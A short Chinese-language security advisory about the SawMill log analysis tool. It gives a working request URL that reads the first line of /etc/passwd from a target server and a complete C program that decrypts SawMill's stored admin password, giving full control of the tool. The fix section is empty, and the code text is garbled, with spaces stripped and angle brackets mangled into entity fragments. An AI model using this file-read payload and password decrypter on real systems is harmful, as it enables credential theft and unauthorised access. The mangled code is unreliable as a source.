SawMill是一个日志统计的工具,有UNIX,Windows和MacOS等版本。sawmill的UNIX版本默认监听8987端口。该程序存在下列两个问题:
1)通过sawmill,可以读取(如果以nobody身份运行)有权限读取的文件的第一行文件。
下面的例子是输出/etc/passwd的头行内容:
http://www.victims.com:8987/sawmill?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3
2)由于采用了弱的加密机制,下面的程序可以非常容易的破解密码。由于上面的漏洞可以读取文件
sawmill/SawmillInfo/SawmillPassword的第一行,通过解密密码之后,可以获得对统计系统的完全访问而重新配置sawmill。如果该程序以root身份运行,那么攻击者可以特定出root只读的文件作为日志文件,从而获得读取该文件的权限。
供应商地址:http://www.flowerfire.com/sawmill
漏洞测试程序如下:
/*DecryptpasswordforSawmilladminaccount.
LarryW.Cashdollar
lwc@vapid.betteros.org
http://vapid.betteros.org
usage./decryptcyphertext
*/
#include$#@60;stdio.h$#@62;
char*alpha="abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+~$#@60;$#@62;?:\"{}|";
char*encode="=GeKMNQS~TfUVWXY[abcygimrs\"#$&-]FLq4.@wICH2!oEn}Z%(Ovt{z";
int
main(intargc,char**argv)
{
intx,y;
charcypher[128];
strncpy(cypher,argv[1],128);
for(x=0;x$#@60;strlen(cypher);x++)
{
for(y=0;y$#@60;strlen(encode);y++)
if(cypher[x]==encode[y])
printf("%c",alpha[y]);
}
printf("\n\"+\"couldalsobeaspace[]\n");
}
解决方法: